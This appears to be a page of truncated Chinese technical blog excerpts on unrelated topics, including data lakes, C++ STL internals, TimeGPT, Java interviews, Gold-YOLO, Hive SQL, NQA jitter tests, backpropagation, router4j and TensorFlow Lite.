数据湖从企业的多个数据源获取原始数据,数据可能是任意类型的信息,从结构化数据到完全非结构化数据,并通过与各类外部异构数据源的交互集成,支持各类企业级应用。结合先进的数据科学与机器学习技术,能帮助企业构建更多优化后的运营模型,也能为企业提供其他能力,如预测分析、推荐模型等,这些模型能刺激企业能力的后续增长。 进入互联网时代,有两个最重要的变化。 一个是数据规模前所未有,一个成功的互联网产品日活可以过亿,就像你熟知的头条、抖音、快手、网易云音乐,每天产生几千亿的用户行为。传统数据仓库难于扩展,根本无法承载如此规模的海量数据。 另一个是数据类型变得异构化,互联网时代的数据除了来自业务数据库的结构化数据,还有来自 App、Web 的前端埋点数据,或者业务服务器的后端埋点日志,这些数据一般都是半结构化,甚至无结构的。传统数据仓库对数据模型有严格的要求,在数据导入到数据仓库前,数据模型就必须事先定义好,数据必须按照模型设计存储。 所以,数据规模和数据类型的限制,导致传统数据仓库无法支撑互联网时代的商业智能。 05年的时候,Hadoop诞生了。Hadoop 相比传统数据仓库主要有两个优势: 完全分布式,易于扩展,可以使用价格低廉的机器堆出一个计算、存储能力很强的集群,满足海量数据的处理要求;弱化数据格式,数据被集成到 Hadoop 之后,可以不保留任何数据格式,数据模型与数据存储分离,数据(包含了原始数据)在被使用的时候,可以按照不同的模型读取,满足异构数据灵活分析的需求。而数仓更加关注可以作为事实依据的数据。 随着Hadoop与对象存储的成熟,数据湖的概念在10年被提出:数据湖(Data Lake)是一个以原始格式存储数据的存储库或系统(这意味着数据湖的底层不应该与任何存储耦合)。 对应的来说,如果数据湖没有被治理好(缺乏元数据、定义数据源、制定数据访问策略和安全策略,并移动数据、编制数据目录),则会变成数据沼泽。 而从产品形态上来说,数仓往往是独立标准化的产品。而数据湖更像是一种架构指导——需要配合一系列的周边工具,来实现业务需要的数据湖。 3. 数据中台 大规模数据的应用,也逐渐暴露出现一些问题。

STL第二讲

第二讲 视频标准库源码版本:gnu c++ 2.9.1/4.9/Visual C++ OOP vs GP GP是将datas与methods分开,OOP相反; 为什么list不能使用全局的sort? 因为sort源代码: *(first + (last - first)/2) // 此迭代器只能是随机访问迭代器 // list因为自身特性,其迭代器不支持随机访问 技术基础 1. 运算符重载 对于一个迭代器,基本都要重载*、->、后++、前++,当然还包括其他 2. 模板 关于特化(全特化): 偏特化(Partial Specialization): 分配器allocator 一个观念:关于内存分配都会基于malloc(memory allocation), malloc再基于操作系统进行实现; 同理,回收基于delete 每次调用malloc,除了分配真正需要的内存,还有一些额外开销overhead(见内存管理课程) VC6的allocator:位于头文件,查看源代码后,new和delete是基于malloc和delete,没有任何特殊设计,BC和GCC2.9一样。且直接使用allocator比较麻烦,更好的选择是使用迭代器。 GCC2.9真正只用的alloc:在stl_alloc.h 关于gcc4.9的allocator和__pool_alloc,见视频; 容器 一、顺序容器 list 详细的讲解看视频:深度探索list g2.9和g4.9的优劣对比;为什么2.9的list大小是4,4.9是8;list“前闭后开”的实现; Iterator traits 迭代器要回答算法的五个问题: 重点关注前三种;reference和pointer从未被使用过 iterator traits(萃取机):一个区分传入的是迭代器还是原生指针的中间层 vector vector的扩容:2倍扩容,很多编译器的具体实现都是如此finish:根据我们使用end的具体含义,可知finish指向的是尾后元素size的写法:调用成员函数end()-begin()而没有直接使用finish-start,但这样方便后续代码尽量少的改动(empty等的实现也是如此)关于[]:具有连续存储的容器,都要提供下标运算符 关于vector的2倍扩容 使用vector要注意:扩容时大量使用构造和析构函数! 其他方面看视频; array array是模拟C/C++语言本身的数组,但是可以更好地利用迭代器、泛型算法等 forward_list 单向链表,可以借鉴之前讲过的双向链表list deque 只在尾部扩充:vector;双向扩充:deque 图中已经申请了三个buffer,向前/后扩充,就是要在map的五个buffer对应的指针的前/后的指针再次申请新的buffer。图中第一个buffer(左上)还未用完,用完需要图示中的map中的第一个指针再去申请buffer。向后扩充也是如此。 关于迭代器: first/last:每个buffer的前后边界;node的作用:为保持连续性,图中示例,元素99下一个元素是0(下个buffer)。即通过node来去map中寻找下个buffercur:指向某个元素。图中是指向99start/finish:整个deque的头和尾元素关于deque中iterator的大小及具体内容请看视频 deque如何模拟连续 与deque的迭代器相关,重要的点:重载了+=、++、[]等运算符 关于deque的map:是vector。在扩充时也是2倍扩充,但是复制旧元素到新的map的中间,保证可以双向扩充 queue和stack queue和stack内部默认用deque实现。是通过改装其他容器来实现自身,所以称之为容器适配器 stack和deque不允许遍历,即不提供迭代器(否则可能会破坏两种容器适配器的特性:先进后出、先进先出)

时间序列大模型:TimeGPT

论文:https://arxiv.org/pdf/2310.03589.pdf TimeGPT,这是第一个用于时间序列的基础模型,能够为训练期间未见过的多样化数据集生成准确的预测。 大规模时间序列模型通过利用当代深度学习进步的能力,使精确预测和减少不确定性成为可能!通过对预训练模型进行了评估,并与既定的统计、机器学习和深度学习方法进行了比较,证明了TimeGPT在性能、效率和简单性方面表现出色。 1 介绍 时间序列数据在金融、医疗保健、气象学、社会科学等领域是不可或缺的,识别时间模式、趋势和周期性变化对于预测未来价值和为决策过程提供信息至关重要。然而,目前对时间序列的理论和实践理解尚未在从业者中达成共识,预测科学领域的努力未能实现真正通用的预训练模型的承诺。 2 背景 深度学习方法在时间序列分析中具有显著优势,如全局性、可扩展性、灵活性和潜在准确性,能有效学习复杂数据依赖关系,避免复杂特征工程。然而,其有用性、准确性和复杂性受到质疑。学术研究人员和从业者对深度学习模型的优越性能看法不一,有人质疑其基本假设,而一些行业领导者报告其增强了成果,简化了分析流程。时间序列分析领域对神经预测方法的性能持怀疑态度,源于评估设置未对齐或定义不清晰、次优模型、缺乏符合要求的大规模标准化数据集。更大和更多样化的数据集能使更复杂的模型在各种任务中表现得更好。 图1 单系列预测和多系列预测示意图 3 相关综述 深度学习预测模型在研究和产业中广泛应用,其成功源于对已建立的架构(RNN和CNN)的改进。这些模型最初是为自然语言处理和计算机视觉设计的,但现已广泛应用于时间序列预测。RNNs如DeepAR用于概率预测,而CNN在多项任务中表现优于RNN。前馈网络由于计算成本低、效率高,也经常被使用,N-BEATS和NHITS是著名的例子。近年来,基于Transformer的模型越来越受欢迎,因为它们在大规模设置和复杂任务中表现出卓越的性能。TFT和MQTransformer是早期的例子,通过Prob-sparse自注意力机制,Informer为长序列预测引入了Transformers。此后,该概念在Autoformer、FEDformer和PatchTST等模型中得到了进一步改进。基础模型在时间序列预测任务中的潜力仍然未被充分探索,但有迹象表明可以在不降低性能的情况下将预训练模型转移到不同任务上,且在时间序列预测任务中存在数据和模型规模的扩展律。 4 时间序列的基础模型 迁移学习是指将一项任务中学到的知识应用于解决新任务的能力。在时间序列预测中,预测模型提供一个函数fθ,将特征空间X映射到因变量空间Y。设定中,X包括目标时间序列y和外生协变量x,Y为目标时间序列的未来部分。预测任务的目标是估计条件分布: 迁移学习是在大型源数据集上预训练模型,以提高其在新预测任务上的性能。本文探讨了两种情况:零样本学习和微调。在零样本学习中,直接转移预训练的模型解决新任务,无需在新数据集上重新训练参数。在微调中,进一步在新数据集上训练模型(从预先训练的参数开始)。基础模型的核心思想是利用这些原则,通过最大的公开可用时间序列数据集进行训练,利用数据集和模型规模的比例关系。多种多样的数据集允许TimeGPT从未有过的大量时间模式中获得洞见,这些模式跨越多个领域。 5 TimeGPT实践 5.1 介绍及使用 TimeGPT 是一种由 Nixtla 开发的专门用于预测任务的生成式预训练 Transformer 模型,具有自我关注机制,采用历史值窗口生成预测,添加局部位置编码,由多层编码器-解码器结构组成,每个结构都具有残差连接和层归一化。最后,线性层将解码器的输出映射到预测窗口维度。TimeGPT旨在处理不同频率和特征的时间序列,同时适应不同的输入大小和预测范围。这种适应性在很大程度上归因于TimeGPT所基于的基于transformer的底层架构。 TimeGPT可以仅使用历史值作为输入,无需训练即可对新时间序列进行准确预测。TimeGPT在历史上最大的数据集上进行了训练,该数据集包含超过1000亿行的金融、天气、能源和网络数据,并使时间序列分析的力量大众化。该工具能够在几秒钟内辨别模式并预测未来的数据点。 TimeGPT模型“读取”时间序列数据的方式与人类读取句子的方式非常相似——从左到右。它查看过去数据的窗口,我们可以将其视为“标记”,并预测接下来会发生什么。该预测基于模型在过去数据中识别并推断未来的模式。 API为TimeGPT提供了一个接口,允许用户利用其预测功能来预测未来的事件。TimeGPT还可以用于其他与时间序列相关的任务,如假设场景、异常检测、财务预测等。 安装 pip install nixtlats 如何使用 只需导入库,然后用两行代码就可以开始预测! df = pd.read_csv('https://raw.githubusercontent.com/Nixtla/transfer-learning-time-series/main/datasets/electricity-short.csv') from nixtlats import TimeGPT timegpt = TimeGPT(# defaults to os.environ.get("TIMEGPT_TOKEN") token ='my_token_provided_by_nixtla') fcst_df = timegpt.forecast(df, h=24, level=[80,90]) INFO:nixtlats.timegpt:Validating inputs...INFO:nixtlats.timegpt:Preprocessing dataframes...INFO:nixtlats.timegpt:Inferred freq: HINFO:nixtlats.timegpt:Restricting input...INFO:nixtlats.timegpt:Calling Forecast Endpoint... timegpt.plot(df, fcst_df, level=[80,90], max_insample_length=24*5) 5.

【GitHub项目推荐--不错的Rust开源项目】【转载】

01 Rust 即时模式 GUI 库 egui 是一个简单、快速且高度可移植的 Rust 即时模式 GUI 库,可以轻松地将其集成到你选择的游戏引擎中,旨在成为最易于使用的 Rust GUI 库,以及在 Rust 中制作 Web 应用程序的最简单方法。 项目地址:https://github.com/emilk/egui ui.heading("My egui Application");ui.horizontal(|ui| { ui.label("Your name: "); ui.text_edit_singleline(&mut name);});ui.add(egui::Slider::new(&mut age, 0..=120).text("age"));if ui.button("Click each year").clicked() { age += 1;}ui.label(format!("Hello '{}', age {}", name, age)); Features & Theme:

java面面试面经(面试过程)

一、校招一面面经 1.1 自我介绍(2min) 1.2 要求介绍项目一项目亮点以及做的具体工作 根据介绍项目进行细挖,其中包括方案设计、场景设计等等等 由于项目一种涉及数据库源的转换问题和限流方案,所以面试官拷打的是这两块,其中包括场景题,重新涉及一个限流如何设计项目一,从技术的角度讲,他最复杂的是什么? (18min,挖的很深) 1.3 要求介绍项目二 如果项目二中,让你去设计推荐算法,你会咋做? (5min,因为这个项目比较简单) 1.4 场景题,设计1000人在线的聊天室,某人登录的时候希望看到不同的聊天室里我还有多少未读的消息 (10min,太难了,至今我还没找到一个比较完美的答案) 1.5 算法题,环形链表找到头节点(15min,包括推理和讲解) 1.6 反问 一面没有八股,全程项目+场景题面完5分钟后通知1小时后二面 二、二面面经 2.1 介绍项目(不是自我介绍)(4min) 2.2 项目一,如果让你做leader,你会如何设计 Mysql和Oracle在你使用过程中的差异(10min) 2.3 八股文(20min) 介绍下JVM的区(设计好了每个坑位,引导面试官问问题) 介绍下垃圾回收机制介绍下List Mysql索引实现原理 工作中如何创建索引,有什么需要注意的嘛如果我的数据里很大,但是我要加一个字段,我要咋做(当时没答上来,比较冷门)数据里大时,项目中考虑过分库分表嘛,如何设计 2.4 场景题,设计一个限流组件,一个IP1分钟限制100次(10min) 2.6 反问(奇奇怪怪的顺序)第六部分:算法题,改进版环形矩阵 (15min,包括写和讲解,以及问了你写的这个哪里还能优化)

java web mvc-02-struts2

拓展阅读 Spring Web MVC-00-重学 mvc mvc-01-Model-View-Controller 概览 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails Struts2 Apache Struts是一个用于创建优雅、现代Java Web应用程序的免费、开源的MVC框架。 struts Hello World 我的示例基于maven和struts2文档。 开始使用Struts2原型的推荐方式是使用原型目录。 mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/ Struts 2空白原型(“blank-archetype”)提供了一个最小但完整的Struts 2应用程序。 它演示了一些最基本的Struts 2概念。这是我的风格,我选择了这个。 使用 mvn clean install 来删除先前的文件并将JAR文件添加到您的存储库。 使用 mvn tomcat7:run 启动项目。或者将WAR文件放到Tomcat中。 错误 您可能会遇到类似以下错误。 no plugin found for prefix 'tomcat 7' in the current project and in the plugin groups 提示

Gold-YOLO(NeurIPS 2023)论文与代码解析

paper:Gold-YOLO: Efficient Object Detector via Gather-and-Distribute Mechanism official implementation:https://github.com/huawei-noah/Efficient-Computing/tree/master/Detection/Gold-YOLO 存在的问题 在过去几年里,YOLO系列已经成为了实时目标检测领域最先进以及最常用的方法。许多研究通过修改模型架构、数据增强、设计新的损失函数将baseline提升到了一个更高的水平。但现有的模型仍然存在信息融合的问题,尽管FPN和PANet在一定程度上缓解了该问题。 传统的neck如FPN以及相关变体的结构如图3(a)所示,但是这种信息融合的方法存在一个明显的缺陷:当需要跨层融合信息时(如level-1和level-3),FPN式的结构无法无损的传输信息,这阻碍了YOLO系列更好的进行信息融合。 本文的创新点 针对FPN式结构存在的问题,本文在TopFormer理论的基础上,提出了一种新的聚合-分发(GD)机制,它通过融合多层特征并将全局信息注入到更高层,在YOLO中实现高效的信息交换。这显著增加了neck的信息融合能力,同时没有显著增加延迟。 基于此提出了一个新的模型Gold-YOLO,它提高了多尺度特征融合的能力,并在所有尺度上实现了延迟和精度之间的理想平衡。 此外,本文首次在YOLO系列中实现了MAE-style的预训练,使得YOLO系列可以从无监督预训练中受益。 方法介绍 如图3所示,在FPN的结构中,只能完全融合相邻层的信息,对于其它层的信息,只能间接的“递归”获得。这种传输模式可能导致计算过程中信息的丢失。为了避免这种情况,本文放弃了递归方法,构建了一种新的聚合-分发机制。通过使用一个统一的模块从各层收集和融合信息,然后将其分发到不同的层。 具体实现中,聚合与分发的过程对应三个模块:特征对齐模块(Feature Alignment Module, FAM)、信息融合模块(Information Fusion Module, IFM)、信息注入模块(Information Injection Module, Inject)。完整结构如图2所示 gather过程包括两步。首先,FAM从不同层收集和对齐特征。然后,IFM通过融合对齐的特征得到全局信息。在获得全局信息后,inject模块将这些信息distribute到每个level中,并使用简单的注意力操作进行注入,从而提高分支的检测能力。 为了增加模型检测不同大小对象的能力,提出了两个分支,low-stage GD和high-stage GD。如图2所示,neck的输入包括backbone提取的特征图B2,B3,B4,B5,其中 \(B_{i}\in \mathbb{R}^{N\times C_{Bi}\times R_{Bi}}\),N是batch size,C是通道数,R=HxW。 Low GD 结构如图4(a)所示 Low-FAM 在Low-FAM中,用average pooling下采样得到一个统一大小的 \(F_{align}\)。这里选择 \(R_{B4}=\frac{1}{4}R\) 作为目标大小。 Low-IFM Low-IFM包括多层重参数化卷积Block (RepBlock) 和一个split操作。具体来说,RepBlock取 \(F_{align}\)(\(channel=sum(C_{B2},C_{B3},C_{B4},C_{B5})\))作为输入得到 \(F_{fuse}\)(\(channel=C_{B4}+C_{B5}\)),然后沿通道维度split成 \(F_{inj\_P3}\) 和 \(F_{inj\_P4}\)。如下 Information injection module 为了更有效的将全局信息注入到不同的层,作者采用注意力机制来融合信息,如图5所示。具体来说,同时输入局部信息(当前层)和全局信息(IFM生成的)并分别记为 \(F_{local}\) 和 \(F_{inj}\),\(F_{inj}\) 通过两个不同的卷积层分别得到 \(F_{global\_embed}\) 和 \(F_{act}\)。\(F_{local}\) 通过卷积得到 \(F_{local\_embed}\)。然后通过注意力计算得到融合特征 \(F_{out}\)。其中 \(F_{local}\) 等于 \(Bi\),具体如下

回调函数(callback)是什么?(*****)

C++回调函数的理解与使用 ** ​​10张图让你彻底理解回调函数:同步回调、异步回调 https://blog.csdn.net/ken2232/article/details/135777311 通俗理解“回调函数” https://blog.csdn.net/angciyu/article/details/80794273 回调函数(callback)是什么?一文理解回调函数(callback) 为什么HAL库有那么多的回调函数?如何理解? https://zhuanlan.zhihu.com/p/508936793 C 语言回调函数详解 https://www.runoob.com/w3cnote/c-callback-function.html ​ C++回调函数的理解与使用 https://www.cnblogs.com/zzw19940404/p/14152151.html ** C语言 回调函数 callback - C语言零基础入门教程 https://zhuanlan.zhihu.com/p/406020900 Callback Function in C Programming https://embetronicx.com/tutorials/p_language/c/callback-function-in-c-programming/ -------------------------------------------------------------------- 关联参考: STM32 回调函数 (***)https://blog.csdn.net/ken2232/article/details/135759275 回调函数(callback)是什么?(*****) https://blog.csdn.net/ken2232/article/details/132665409 ----------------------------------------------------------------- C语言中的回调函数(函数指针的应用,qsort的理解和用法) https://blog.csdn.net/m0_46606290/article/details/119765528 1. 回调函数 回调函数通俗的讲就是通过函数指针(作为另一个函数形参的)调用的函数。 一般我们是把回调函数名(地址)作为参数,传递给另一个函数,在另一个函数中通过该回调函数指针,去调用它所指向的函数。 其实就是一个函数指针的应用而已。 但是,好处,便于实现: 针对接口编程软件结构分层,使得可以分工完成 应用场景示例之一: 原始:1个老板 --> 管理5个工人。<< 没有问题的。 公司发展膨胀了:1个老板 --> 管理200个工人。<< 问题来了,此时,老板已经没有精力去做老板该做的事情了。 公司的组织架构需要变革:老板 --> 秘书 --> 管理200个工人。 公司发展再次膨胀了:老板 --> 秘书长 --> N个秘书 --> 管理2000个工人。 应用场景示例之二: 摘要:https://blog.csdn.net/ken2232/article/details/135777311 而之所以需要给第三方库指定回调函数,是因为“第三方库的编写者”并不清楚在某些特定节点,比如我们举的例子油条制作完成、接收到网络数据、文件读取完成等之后该做什么,这些只有“库的使用方”才知道,因此第三方库的编写者无法针对具体的实现来写代码,而只能对外提供一个回调函数,“库的使用方”来实现该函数,第三方库在特定的节点调用该回调函数就可以了。

Hive-SQL语法大全

Hive SQL 语法大全 基于语法描述说明 CREATE DATABASE [IF NOT EXISTS] db_name [LOCATION] 'path'; SELECT expr, ... FROM tbl ORDER BY col_name [ASC | DESC] (A | B | C) 如上语法,在语法描述中出现: [],表示可选,如上[LOCATION] 表示可写、可不写 |,表示或,如上ASC | DESC,表示二选一 …,表示序列,即未完结,如上SELECT expr, ... 表示在SELECT后可以跟多个expr(查询表达式),以逗号隔开 (),表示必填,如上(A | B | C)表示此处必填,填入内容在A、B、C中三选一 数据库操作 创建数据库 CREATE DATABASE [IF NOT EXISTS] db_name [LOCATION 'path'] [COMMENT database_comment]; IF NOT EXISTS,如存在同名数据库不执行任何操作,否则执行创建数据库操作 [LOCATION],自定义数据库存储位置,如不填写,默认数据库在HDFS的路径为:/user/hive/warehouse [COMMENT database_comment],可选,数据库注释 删除数据库 DROP DATABASE [IF EXISTS] db_name [CASCADE]; [IF EXISTS],可选,如果存在此数据库执行删除,不存在不执行任何操作[CASCADE],可选,级联删除,即数据库内存在表,使用CASCADE可以强制删除数据库 数据库修改LOCATION ALTER DATABASE database_name SET LOCATION hdfs_path; 不会在HDFS对数据库所在目录进行改名,只是修改location后,新创建的表在新的路径,旧的不变

NQA测试机制—UDP Jitter测试

概念 UDP Jitter是以UDP报文为承载,通过记录在报文中的时间戳信息来统计时延、抖动、丢包的一种测试方法。Jitter(抖动时间)是指相邻两个报文的接收时间间隔减去这两个报文的发送时间间隔。 UDP Jitter测试的过程如下: 1. 源端(RouterA)以一定的时间间隔向目的端(RouterB)发送报文。 2. 目的端(RouterB)每收到一个报文,就给它打上时间戳,然后再把这个报文发回到源端(RouterA)。 源端(RouterA)收到报文后通过计算目的端(RouterB)接收报文时间间隔和源端(RouterA)发送报文的时间间隔之差,计算出抖动时间。 从源端接收到的信息中计算出: • 报文从源端到目的端和从目的端到源端的最大抖动时间、最小抖动时间及平均抖动时间。 • 从目的端到源端或从源端到目的端的最大单向延时。 UDP Jitter每次测试最大发包数量可配,是探测数(probe-count)与每次探测发送报文(jitter-packetnum)的乘积。 UDP Jitter测试可以设置单个测试例的连续发包数目,通过这项设置,可以在一段时间内模拟某种数据的真实流量。例如,设置3000个UDP报文以20毫秒的间隔发送,可以在一分钟内模拟G.711流量。 UDP Jitter测试的结果和历史记录将记录在测试例中,可以通过命令行来查看探测结果和历史记录。 nqa test-instance amin jitter1 nqa test-instance admin jitter1 test-type jitter destination-address ipv4 10.1.12.1 destination-port 9000 start now [AR1]nqa-server udpecho 10.1.12.1 9000 自适应流量 qos adaptation-profile gts rate-range low-threshold 100 high-threshold 300 track nqa admin jitter1 rate-adjust loss low-threshold 20 high-threshold 30 rate-adjust step 20 # interface GigabitEthernet0/0/1 ip address 10.

神经网络的学习(Neural Networks: Learning)

1.代价函数 案例:假设神经网络的训练样本有𝑚个,每个包含一组输入𝑥和一组输出信号𝑦,𝐿表示神经网络层数,𝑆𝐼表示每层的 neuron 个数(𝑆𝑙表示输出层神经元个数),𝑆𝐿代表最后一层中处理单元的个数。 将神经网络的分类定义为两种情况:二类分类和多类分类, 二类分类:𝑆𝐿 = 0, 𝑦 = 0 𝑜𝑟 1表示哪一类; 𝐾类分类:𝑆𝐿 = 𝑘, 𝑦𝑖 = 1表示分到第 i 类;(𝑘 > 2) 看起来复杂很多的代价函数背后的思想还是一样的,我们希望通过代价函数来观察算法预测的结果与真实情况的误差有多大,唯一不同的是,对于每一行特征,我们都会给出𝐾个预测,基本上我们可以利用循环,对每一行特征都预测𝐾个不同结果,然后在利用循环在𝐾个预测中选择可能性最高的一个,将其与𝑦中的实际数据进行比较。 正则化的那一项只是排除了每一层𝜃0后,每一层的𝜃 矩阵的和。最里层的循环𝑗循环所 有的行(由𝑠𝑙 +1 层的激活单元数决定),循环𝑖则循环所有的列,由该层(𝑠𝑙层)的激活单元数所决定。即:ℎ𝜃(𝑥)与真实值之间的距离为每个样本-每个类输出的加和,对参数进行regularization 的 bias 项处理所有参数的平方和。 在机器学习中,代价函数(Cost Function)是用来衡量模型预测误差的函数。它通常用于训练模型,以最小化预测误差。 代价函数的定义取决于所使用的模型和算法。对于线性回归模型,代价函数通常是平方误差代价函数,即将预测值与实际值之间的差的平方和作为目标函数进行优化。对于逻辑回归模型,代价函数通常是对数损失函数,即对预测概率取对数后与实际标签进行比较。 在训练模型时,通过迭代更新模型参数,使得代价函数的值逐渐减小。常用的优化算法包括梯度下降、随机梯度下降、牛顿法等。 选择合适的代价函数是训练模型的关键步骤之一。不同的代价函数适用于不同的问题和数据类型。在实际应用中,需要根据具体问题和数据特征选择合适的代价函数和优化算法,以获得更好的模型预测性能。 2.反向传播算法 正向传播方法,我们从第一层开始正向一层一层进行计算,直到最后一层的ℎ𝜃(𝑥),从前往后。 反向传播算法,也就是首先计算最后一层的误差,然后再一层一层反向求出各层的误差,直到倒数第二层。 案例: 反向传播算法(Backpropagation Algorithm)是一种在神经网络中用于根据误差更新各层连接权重的算法。它是基于梯度下降法的一种学习算法,通过不断地迭代,使神经网络的预测结果不断逼近实际值,从而不断优化神经网络的参数。 反向传播算法的工作原理是,首先通过正向传播计算得到输出结果,然后根据这个结果和实际值的误差计算出误差,再将这个误差反向传播到每一层神经元,更新每一层神经元的权重,以减小误差。这个过程一直持续到模型收敛,即达到预设的误差阈值或者迭代次数。 反向传播算法的核心是梯度下降,即在每个迭代步骤中,根据当前参数的梯度方向更新参数,使参数朝着减小误差的方向进行优化。具体来说,梯度下降算法会计算代价函数的偏导数,然后根据这个偏导数来更新参数。 反向传播算法的优点包括:能够自适应地学习输入和输出之间的映射关系;能够处理大规模的数据;通过不断优化参数,提高模型的预测精度;能够处理非线性问题等。但是,反向传播算法也存在一些缺点,例如容易陷入局部最优解,训练时间较长等。因此,在实际应用中,需要根据具体问题和数据特征选择合适的神经网络结构和优化算法,以获得更好的模型预测性能。 3.反向传播算法的直观理解 前向传播算法: 而反向传播算法的直观理解可以这样描述: 想象一个多层的大蛋糕,每一层都有一些糖霜(代表神经元的输出)和糖粒(代表神经元的输入)。我们想要调整糖粒的量,使得糖霜的总量(代表网络的输出)与我们想要的总量尽可能接近。 首先,我们计算出实际的糖霜总量与我们想要的糖霜总量之间的差距。这个差距就是我们的误差。 然后,我们开始从蛋糕的顶层(网络的输出层)开始,将每一层的糖粒调整一点,看看是否可以使误差变小。这个调整的过程就是反向传播。 我们会一直调整,直到误差达到我们能够接受的范围,或者直到我们没有更多的糖粒可以调整为止。 在神经网络的情境下,每一层的糖粒都对应一个神经元的权重。当我们想要调整一个糖粒时,我们实际上是在调整与这个糖粒相连的神经元的权重。通过不断地调整权重,我们希望最终能够得到一个满意的糖霜总量,也就是网络的输出。 以上就是反向传播算法的直观理解。这个算法允许我们通过局部的、微小的调整,逐步地优化网络的参数,以实现全局的最优解。 4.实现注意:展开参数 把参数从矩阵展开成向量,以便我们在高级最优化步骤中的使用需要。 5.梯度检验 梯度的数值检验(Numerical Gradient Checking)方法。这种方法的思想是通过估计梯度值来检验我们计算的导数值是否真的是我们要求的。 对梯度的估计采用的方法是在代价函数上沿着切线的方向选择离两个非常近的点然后计算两个点的平均值用以估计梯度。即对于某个特定的 𝜃,我们计算出在 𝜃-𝜀 处和 𝜃+𝜀 的代价值(𝜀是一个非常小的值,通常选取 0.001),然后求两个代价的平均,用以估计在 𝜃处的代价值。

router4j--SpringCloud动态路由利器

前言 本文介绍Java的动态路由中间件:router4j。router4j用于SpringCloud项目,它可以将某个url请求路由到指定的机器上,也可以将所有请求强制转到指定机器。 问题描述 Java后端在开发SpringCloud项目时如果同一个应用起了多个实例,会遇到以下问题: 无法将指定url请求强制转到个人电脑。这样会导致难以打断点调试;如果是设置了应用的所有请求都到我的电脑,那么我在调试时其他接口无法使用。无法将指定的feign的url请求强制转到个人电脑。如果有人打了断点调试,很可能影响测试环境,因为网关的请求和feign请求还是会经常请求到打了断点的那个电脑。 本文介绍的router4j可以解决这个问题,是我个人写的中间件。它可以设置将指定的url的请求路由到指定的机器。 官网网址 官网文档:router4j官网(首先在官网更新,不定时同步到CSDN博客) github:https://github.com/knife-blade/router4j gitee:https://gitee.com/knifeedge/router4j 一、简介 1.1 概述 router4j是一个动态路由的中间件,用于提高Java后端开发和调试效率。 使用router4j,可以将某个url请求路由到指定的机器上,只需在可视化页面上将path绑定到应用实例的ip和端口上即可。 router4j也支持将所有请求强制转到指定机器,所以也可以用于线上不停机更新应用。 1.2 特性 简单:支持通过Web页面操作,操作简单,一分钟上手;无侵入:引入依赖即可,无需修改代码性能损耗小:路径的规则存放在Redis,速度很快,几乎没有性能损耗支持路径的路由:可以指定某个url路由到指定机器支持默认路由:如果url没有设置规则,则转发到设置的默认路由的实例支持强制路由:所有url强制路由到指定实例(无论是否设置了规则)支持网关:支持网关的请求转发支持feign:支持feign的请求转发支持实例运行状态查看:支持查看实例的运行状态 1.3 支持的框架 网关 gateway(已支持)zuul(待支持)SpringCloud的负载均衡 loadbalancer(已支持)(SpringCloud2020及之后的版本)ribbon(待支持) 1.4 框架结构 1.在可视化页面进行配置,将url与实例(ip加端口)关联起来 2.前端请求进来时:gateway会使用本框架的全局过滤器,会根据这个url到Redis中的配置中查询,将url路由到指定的实例(ip加端口) 3.调用feign时:feign会使用本框架的负载均衡器,会根据这个url到Redis中的配置中查询,将url路由到指定的实例(ip加端口) 1.5 下载/依赖 github:https://github.com/knife-blade/router4j gitee:https://gitee.com/knifeedge/router4j maven:(待上传) 二、快速入门 router4j-server:router4j的控制台(后端)router4j-vue:router4j的控制台(前端)router4j-example:示例程序 2.1 启动控制台 1.启动后端 启动router4j-server 2.启动前端 启动router4j-vue 2.2 添加依赖 1.网关添加依赖 router4j-example/gateway <dependency> <groupId>com.knife.router4j</groupId> <artifactId>router4j-client-gateway-boot-starter</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> 2.应用添加依赖(用于feign) router4j-example/business/order/order-core <dependency> <groupId>com.knife.router4j</groupId> <artifactId>router4j-client-feign-boot-starter</artifactId> <version>0.0.1-SNAPSHOT</version> </dependency> 2.3 配置 网关和应用都要添加如下配置: router4j: redis: host: localhost password: 222333 port: 6379 # database: 0 # ssl: false # timeout: 3s rule: enable: true # pathPatternPrefix: "

第五部分:TensorFlowLite介绍

tensorflowLite是google推出的一个端侧深度学习模型、推理框架,关注业务本身模型的优化。tensorflowlite缩写简称tflite。 本章覆盖的知识点: TensorFlow Lite简介TensorFlow Lite的Android部署TensorFlow Lite 的IOS部署TensorFlow Lite与边缘智能 TensorFlow Lite简介 **特性:**轻量化、低延迟、隐私保护、高效模型、功耗节能、预训练模型。 TensorFlow lite的组件: 转换器(to TensorFlow lite format):将Tensorflow模型,转换为可被解释器有效可读的形式。引入优化功能,以提高二进制大小模型的性能和减少模型大小。 解释器(Core):支持多种平台(Android.iOS、嵌入式Linux和微控制器),用于加速推理的平台API。 架构: 性能: tensorflow lite 支持采用一些设备的加速库或者API来加速任务的执行。 TensorFlow Lite Delegates加速方式: 它为tflite 提供了一下计算专用模型推理算子的接口,比如:GPU、DSP,在这个tflite运行推理时,计算图会根据算子的Detegates的实际情况为不同的硬件分配任务,从而实现局部的算子加速。为此tflite还提供了一个支持实验性的delegates,它可以在GPU上加速模型。 具体内容链接:https://tensorflow.google.cn/lite/performance/gpu 关键技术: 量化是指我原来有一般的神经网络,它用的是浮点数运算,当然也可以是低精度的八浮点位或16位的定点进行加速。 剪枝它能把模型的体积变得更小,利用了稀疏表示的方法实现把冗余的节点去掉。 为什么要进行量化处理? 支持所有可用的CPU平台降低延迟和推理成本低内存占用率允许在受限或优化的硬件上执行定点操作专用硬件加速器(TPU)的优化模型 总结: TensorFlow Lite 的模型转换: 转换流程: 前面课程里我们了解了tensorflow lite 的一些优点特性,它能够帮助我们在移动终端或者低功耗、嵌入式设备上运行机器学习,并且还提供了模型转换和优化的工具,这节我们将进一步了解tflite 转换工具,怎么把模型从tensorflow转换成tf lite的格式以及如何在转换过程中做一些简单的模型优化。 基本的转化流程: 先在tensorflow开发环境中训练出一个机器学习模型,并准备部署这个环境时往往会将模型以saved model的这种格式进行存储,然后我们tf lite converter 这个工具将模型转化到tf lite 的模型格式上,就可以在移动端的tf框架中运行这些模型。 模型转换的基本框架: 两种不同类型机器学习的搭建接口: 一种是基于tf.Keras的高阶API,这套接口对算子的封装颗粒度比较大,适合快速验证训练环境对模型的影响的场景。 另一种是原生的底层的tensorflow的Api,这种api适合于对模型的层次修改比较深的场景。 对这两种接口提供了统一的模型格式Savedmodel,有利于将网络嵌套到任意的搭建的网络模型中。 参数转换接口: 在tensorflow 